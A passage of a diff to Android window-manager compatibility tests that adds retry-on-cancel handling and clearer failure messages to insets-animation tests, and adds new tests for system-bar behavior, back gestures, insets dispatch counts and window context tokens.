+            mListener = new ControlListener(mErrorCollector);
+            awaitControl(mType);
+            test.run();
+        }
+    }
+
     @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mCancellationSignal.cancel();
+            });
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mCancellationSignal.cancel();
-        });
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Test
     public void testControl_andImmediatelyCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
-            mCancellationSignal.cancel();
-        });
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+                mCancellationSignal.cancel();
+            });
 
-        mListener.assertWasCalled(CANCELLED);
-        mListener.assertWasNotCalled(READY);
-        mListener.assertWasNotCalled(FINISHED);
+            mListener.assertWasCalled(CANCELLED);
+            mListener.assertWasNotCalled(READY);
+            mListener.assertWasNotCalled(FINISHED);
+        });
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(true);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(true);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(false);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(false);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
-        mInterpolator = new DecelerateInterpolator();
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            mInterpolator = new DecelerateInterpolator();
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Test
     public void testControl_andLoseControl() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false, TimeUnit.MINUTES.toMillis(5));
+            runOnUiThread(() -> {
+                mLossOfControlExpected = true;
+            });
+            launchHomeActivityNoWait();
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false, TimeUnit.MINUTES.toMillis(5));
-        runOnUiThread(() -> {
-            mLossOfControlExpected = true;
-        });
-        launchHomeActivityNoWait();
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Presubmit
@@ -377,23 +436,26 @@
             return;
         }
 
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+            runOnUiThread(() -> {
+                mActivity.getSystemService(InputMethodManager.class).restartInput(
+                        mActivity.mEditor);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-        runOnUiThread(() -> {
-            mActivity.getSystemService(InputMethodManager.class).restartInput(mActivity.mEditor);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     private void setupAnimationListener() {
@@ -497,7 +559,47 @@
     }
 
     private void setVisibilityAndWait(int type, boolean visible) throws Throwable {
+        assertThat("setVisibilityAndWait must only be called before any"
+                + " WindowInsetsAnimation.Callback was registered", mCallbacks, equalTo(List.of()));
+
+
+        final Set<WindowInsetsAnimation> runningAnimations = new HashSet<>();
+        Callback callback = new Callback(Callback.DISPATCH_MODE_STOP) {
+
+            @NonNull
+            @Override
+            public void onPrepare(@NonNull WindowInsetsAnimation animation) {
+                synchronized (runningAnimations) {
+                    runningAnimations.add(animation);
+                }
+            }
+
+            @NonNull
+            @Override
+            public WindowInsetsAnimation.Bounds onStart(@NonNull WindowInsetsAnimation animation,
+                    @NonNull WindowInsetsAnimation.Bounds bounds) {
+                synchronized (runningAnimations) {
+                    runningAnimations.add(animation);
+                }
+                return bounds;
+            }
+
+            @NonNull
+            @Override
+            public WindowInsets onProgress(@NonNull WindowInsets insets,
+                    @NonNull List<WindowInsetsAnimation> runningAnimations) {
+                return insets;
+            }
+
+            @Override
+            public void onEnd(@NonNull WindowInsetsAnimation animation) {
+                synchronized (runningAnimations) {
+                    runningAnimations.remove(animation);
+                }
+            }
+        };
         runOnUiThread(() -> {
+            mRootView.setWindowInsetsAnimationCallback(callback);
             if (visible) {
                 mRootView.getWindowInsetsController().show(type);
             } else {
@@ -507,6 +609,16 @@
 
         waitForOrFail("Timeout waiting for inset to become " + (visible ? "visible" : "invisible"),
                 () -> mActivity.mLastWindowInsets.isVisible(mType) == visible);
+        waitForOrFail("Timeout waiting for animations to end, running=" + runningAnimations,
+                () -> {
+                    synchronized (runningAnimations) {
+                        return runningAnimations.isEmpty();
+                    }
+                });
+
+        runOnUiThread(() -> {
+            mRootView.setWindowInsetsAnimationCallback(null);
+        });
     }
 
     static class ControlListener implements WindowInsetsAnimationControlListener {
@@ -514,6 +626,7 @@
 
         WindowInsetsAnimationController mController = null;
         int mTypes = -1;
+        RuntimeException mCancelledStack = null;
 
         ControlListener(ErrorCollector errorCollector) {
             mErrorCollector = errorCollector;
@@ -562,6 +675,7 @@
                 mErrorCollector.checkThat("isFinished", controller.isFinished(), is(false));
                 mErrorCollector.checkThat("isCancelled", controller.isCancelled(), is(true));
             }
+            mCancelledStack = new RuntimeException("onCancelled called here");
             report(CANCELLED);
         }
 
@@ -575,7 +689,12 @@
             CountDownLatch latch = mLatches[event.ordinal()];
             try {
                 if (!latch.await(10, TimeUnit.SECONDS)) {
-                    fail("Timeout waiting for " + event);
+                    if (event == READY && mCancelledStack != null) {
+                        throw new CancelledWhileWaitingForReadyException(
+                                "expected " + event + " but instead got " + CANCELLED,
+                                mCancelledStack);
+                    }
+                    fail("Timeout waiting for " + event + "; reported events: " + reportedEvents());
                 }
             } catch (InterruptedException e) {
                 throw new AssertionError("Interrupted", e);
@@ -584,12 +703,21 @@
 
         void assertWasCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " expected, but never called", 0, latch.getCount());
+            assertEquals(event + " expected, but never called; called: " + reportedEvents(),
+                    0, latch.getCount());
         }
 
         void assertWasNotCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " not expected, but was called", 1, latch.getCount());
+            assertEquals(event + " not expected, but was called; called: " + reportedEvents(),
+                    1, latch.getCount());
+        }
+
+        String reportedEvents() {
+            return Arrays.stream(Event.values())
+                    .filter((e) -> mLatches[e.ordinal()].getCount() == 0)
+                    .map(Enum::toString)
+                    .collect(Collectors.joining(",", "<", ">"));
         }
     }
 
@@ -649,6 +777,7 @@
 
     public static final class LimitedErrorCollector extends ErrorCollector {
         private static final int LIMIT = 1;
+        private static final boolean REPORT_SUPPRESSED_ERRORS = false;
         private int mCount = 0;
 
         @Override
@@ -660,10 +789,20 @@
 
         @Override
         protected void verify() throws Throwable {
-            if (mCount > LIMIT) {
-                super.addError(new AssertionError((mCount - LIMIT) + " errors skipped."));
+            if (mCount > LIMIT && REPORT_SUPPRESSED_ERRORS) {
+                super.addError(new AssertionError((mCount - LIMIT) + " errors suppressed."));
             }
             super.verify();
         }
     }
+
+    private interface ThrowableThrowingRunnable {
+        void run() throws Throwable;
+    }
+
+    private static class CancelledWhileWaitingForReadyException extends AssertionError {
+        public CancelledWhileWaitingForReadyException(String message, Throwable cause) {
+            super(message, cause);
+        }
+    };
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index b384588..4926d49 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -17,6 +17,8 @@
 package android.server.wm;
 
 import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.KeyEvent.ACTION_DOWN;
+import static android.view.KeyEvent.KEYCODE_BACK;
 import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
 import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
 import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE;
@@ -24,11 +26,13 @@
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
 import static android.view.WindowInsets.Type.statusBars;
-import static android.view.WindowInsetsController.BEHAVIOR_SHOW_BARS_BY_SWIPE;
-import static android.view.WindowInsetsController.BEHAVIOR_SHOW_BARS_BY_TOUCH;
+import static android.view.WindowInsets.Type.systemBars;
+import static android.view.WindowInsets.Type.systemGestures;
+import static android.view.WindowInsetsController.BEHAVIOR_DEFAULT;
 import static android.view.WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE;
 import static android.view.WindowManager.LayoutParams.FLAG_FULLSCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 
@@ -40,7 +44,9 @@
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.notNullValue;
 import static org.hamcrest.Matchers.nullValue;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
@@ -63,7 +69,6 @@
 import android.widget.TextView;
 
 import androidx.annotation.Nullable;
-import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
@@ -77,6 +82,8 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test whether WindowInsetsController controls window insets as expected.
@@ -214,26 +221,7 @@
     }
 
     @Test
-    @FlakyTest(detail = "~1% flaky")
-    public void testSetSystemBarsBehavior_showBarsByTouch() throws InterruptedException {
-        final TestActivity activity = startActivity(TestActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-
-        // The show-by-touch behavior will only be applied while navigation bars get hidden.
-        final int types = navigationBars();
-        assumeTrue(rootView.getRootWindowInsets().isVisible(types));
-
-        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_SHOW_BARS_BY_TOUCH);
-
-        hideInsets(rootView, types);
-
-        // Touching on display can show bars.
-        tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
-    }
-
-    @Test
-    public void testSetSystemBarsBehavior_showBarsBySwipe() throws InterruptedException {
+    public void testSetSystemBarsBehavior_default() throws InterruptedException {
         final TestActivity activity = startActivity(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
@@ -241,7 +229,7 @@
         final int types = statusBars();
         assumeTrue(rootView.getRootWindowInsets().isVisible(types));
 
-        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_SHOW_BARS_BY_SWIPE);
+        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_DEFAULT);
 
         hideInsets(rootView, types);
 
@@ -278,6 +266,56 @@
     }
 
     @Test
+    public void testSetSystemBarsBehavior_systemGesture_default() throws InterruptedException {
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+
+        // Assume the current navigation mode has the back gesture.
+        assumeTrue(rootView.getRootWindowInsets().getInsets(systemGestures()).left > 0);
+        assumeTrue(canTriggerBackGesture(rootView));
+
+        rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_DEFAULT);
+        hideInsets(rootView, systemBars());
+
+        // Test if the back gesture can be triggered while system bars are hidden with the behavior.
+        assertTrue(canTriggerBackGesture(rootView));
+    }
+
+    @Test
+    public void testSetSystemBarsBehavior_systemGesture_showTransientBarsBySwipe()
+            throws InterruptedException {
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+
+        // Assume the current navigation mode has the back gesture.
+        assumeTrue(rootView.getRootWindowInsets().getInsets(systemGestures()).left > 0);
+        assumeTrue(canTriggerBackGesture(rootView));
+
+        rootView.getWindowInsetsController().setSystemBarsBehavior(
+                BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE);
+        hideInsets(rootView, systemBars());
+
+        // Test if the back gesture can be triggered while system bars are hidden with the behavior.
+        assertFalse(canTriggerBackGesture(rootView));
+    }
+
+    private boolean canTriggerBackGesture(View rootView) throws InterruptedException {
+        final boolean[] hasBack = { false };
+        final CountDownLatch latch = new CountDownLatch(1);
+        rootView.findFocus().setOnKeyListener((v, keyCode, event) -> {
+            if (keyCode == KEYCODE_BACK && event.getAction() == ACTION_DOWN) {
+                hasBack[0] = true;
+                latch.countDown();
+                return true;
+            }
+            return false;
+        });
+        dragFromLeftToCenter(rootView);
+        latch.await(1, TimeUnit.SECONDS);
+        return hasBack[0];
+    }
+
+    @Test
     public void testSystemUiVisibilityCallbackCausedByInsets() {
         final TestActivity activity = startActivity(TestActivity.class);
         final View controlTarget = activity.getWindow().getDecorView();
@@ -345,46 +383,6 @@
     }
 
     @Test
-    public void testSetSystemUiVisibilityAfterCleared_showBarsByTouch() throws Exception {
-        final TestActivity activity = startActivity(TestActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-
-        // The show-by-touch behavior will only be applied while navigation bars get hidden.
-        final int types = navigationBars();
-        assumeTrue(rootView.getRootWindowInsets().isVisible(types));
-
-        // If we don't have any of the immersive flags, the default behavior will be show-bars-by-
-        // touch.
-        final int targetFlag = SYSTEM_UI_FLAG_HIDE_NAVIGATION;
-
-        // Use flags to hide navigation bar.
-        ANIMATION_CALLBACK.reset();
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
-            rootView.setSystemUiVisibility(targetFlag);
-        });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
-
-        // Touching on display can show bars.
-        tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
-
-        // Use flags to hide navigation bar again.
-        ANIMATION_CALLBACK.reset();
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
-            rootView.setSystemUiVisibility(targetFlag);
-        });
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(types));
-
-        // Touching on display can show bars.
-        tapOnDisplay(rootView.getWidth() / 2f, rootView.getHeight() / 2f);
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
-    }
-
-    @Test
     public void testSetSystemUiVisibilityAfterCleared_showBarsBySwipe() throws Exception {
         final TestActivity activity = startActivity(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
@@ -551,6 +549,96 @@
 
     }
 
+    @Test
+    public void testDispatchApplyWindowInsetsCount_systemBars() throws InterruptedException {
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+        getInstrumentation().waitForIdleSync();
+
+        // Assume we have at least one visible system bar.
+        assumeTrue(rootView.getRootWindowInsets().isVisible(statusBars())
+                || rootView.getRootWindowInsets().isVisible(navigationBars()));
+
+        getInstrumentation().runOnMainSync(() -> {
+            // This makes the window frame stable while changing the system bar visibility.
+            final WindowManager.LayoutParams attrs = activity.getWindow().getAttributes();
+            attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            activity.getWindow().setAttributes(attrs);
+        });
+        getInstrumentation().waitForIdleSync();
+
+        final int[] dispatchApplyWindowInsetsCount = {0};
+        rootView.setOnApplyWindowInsetsListener((v, insets) -> {
+            dispatchApplyWindowInsetsCount[0]++;
+            return v.onApplyWindowInsets(insets);
+        });
+
+        // One hide-system-bar call...
+        ANIMATION_CALLBACK.reset();
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+            rootView.getWindowInsetsController().hide(systemBars());
+        });
+        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+
+        // ... should only trigger one dispatchApplyWindowInsets
+        assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+
+        // One show-system-bar call...
+        dispatchApplyWindowInsetsCount[0] = 0;
+        ANIMATION_CALLBACK.reset();
+        getInstrumentation().runOnMainSync(() -> {
+            rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+            rootView.getWindowInsetsController().show(systemBars());
+        });
+        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+
+        // ... should only trigger one dispatchApplyWindowInsets
+        assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+    }
+
+    @Test
+    public void testDispatchApplyWindowInsetsCount_ime() throws Exception {
+        assumeThat(MockImeSession.getUnavailabilityReason(getInstrumentation().getContext()),
+                nullValue());
+
+        try (MockImeSession imeSession = MockImeSession.create(getInstrumentation().getContext(),
+                getInstrumentation().getUiAutomation(), new ImeSettings.Builder())) {
+            final TestActivity activity = startActivity(TestActivity.class);
+            final View rootView = activity.getWindow().getDecorView();
+            getInstrumentation().waitForIdleSync();
+
+            final int[] dispatchApplyWindowInsetsCount = {0};
+            rootView.setOnApplyWindowInsetsListener((v, insets) -> {
+                dispatchApplyWindowInsetsCount[0]++;
+                return v.onApplyWindowInsets(insets);
+            });
+
+            // One show-ime call...
+            ANIMATION_CALLBACK.reset();
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+                rootView.getWindowInsetsController().show(ime());
+            });
+            ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+
+            // ... should only trigger one dispatchApplyWindowInsets
+            assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+
+            // One hide-ime call...
+            dispatchApplyWindowInsetsCount[0] = 0;
+            ANIMATION_CALLBACK.reset();
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
+                rootView.getWindowInsetsController().hide(ime());
+            });
+            ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+
+            // ... should only trigger one dispatchApplyWindowInsets
+            assertEquals(1, dispatchApplyWindowInsetsCount[0]);
+        }
+    }
+
     private static void broadcastCloseSystemDialogs() {
         executeShellCommand(AM_BROADCAST_CLOSE_SYSTEM_DIALOGS);
     }
@@ -578,6 +666,11 @@
                 view.getWidth() / 2f, view.getHeight() / 2f);
     }
 
+    private void dragFromLeftToCenter(View view) {
+        dragOnDisplay(0 /* downX */, view.getHeight() / 2f,
+                view.getWidth() / 2f, view.getHeight() / 2f);
+    }
+
     private void dragOnDisplay(float downX, float downY, float upX, float upY) {
         final long downTime = SystemClock.elapsedRealtime();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index 067b390..546e5c8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -20,7 +20,9 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
+import static android.server.wm.app.Components.DOCKED_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Surface.ROTATION_0;
 import static android.view.Surface.ROTATION_90;
@@ -135,16 +137,12 @@
         final RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(naturalOrientationPortrait ? ROTATION_90 : ROTATION_0);
 
-        launchActivityInSplitScreenWithRecents(LAUNCHING_ACTIVITY);
         final TestActivity activity = launchAndWait(mTestActivity);
-        mWmState.computeState(mTestActivityComponentName);
-
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        mWmState.computeState(LAUNCHING_ACTIVITY, mTestActivityComponentName);
+        mWmState.waitForValidState(mTestActivityComponentName);
+        final int taskId = mWmState.getTaskByActivity(mTestActivityComponentName).mTaskId;
+        launchActivityInPrimarySplit(LAUNCHING_ACTIVITY);
+        mTaskOrganizer.putTaskInSplitSecondary(taskId);
+        mWmState.waitForValidState(mTestActivityComponentName);
 
         // Ensure that top insets are not consumed for LAYOUT_FULLSCREEN
         WindowInsets insets = getOnMainSync(activity::getDispatchedInsets);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
index fd9892c..5def731 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManager_LayoutParamsTest.java
@@ -178,6 +178,13 @@
         assertEquals(WindowManager.LayoutParams.LAYOUT_CHANGED,
                 mLayoutParams.copyFrom(params));
         assertEquals(params.verticalWeight, mLayoutParams.verticalWeight, 0.0f);
+
+        params = new WindowManager.LayoutParams();
+        params.setWindowContextToken(new Binder());
+        mLayoutParams = new WindowManager.LayoutParams();
+        // Assert no change returned from copyFrom().
+        assertEquals(0, mLayoutParams.copyFrom(params));
+        assertEquals(params.getWindowContextToken(), mLayoutParams.getWindowContextToken());
     }
 
     @Test
@@ -229,6 +236,7 @@
         mLayoutParams.token = binder;
         mLayoutParams.packageName = PACKAGE_NAME;
         mLayoutParams.setTitle(PARAMS_TITLE);
+        mLayoutParams.setWindowContextToken(binder);
         Parcel parcel = Parcel.obtain();
 
         mLayoutParams.writeToParcel(parcel, 0);
@@ -236,6 +244,7 @@
         WindowManager.LayoutParams out =
             WindowManager.LayoutParams.CREATOR.createFromParcel(parcel);
         assertEquals(0, out.copyFrom(mLayoutParams));
+        assertEquals(binder, out.getWindowContextToken());
 
         try {
             mLayoutParams.writeToParcel(null, 0);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
new file mode 100644
index 0000000..704cf41
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
@@ -0,0 +1,323 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
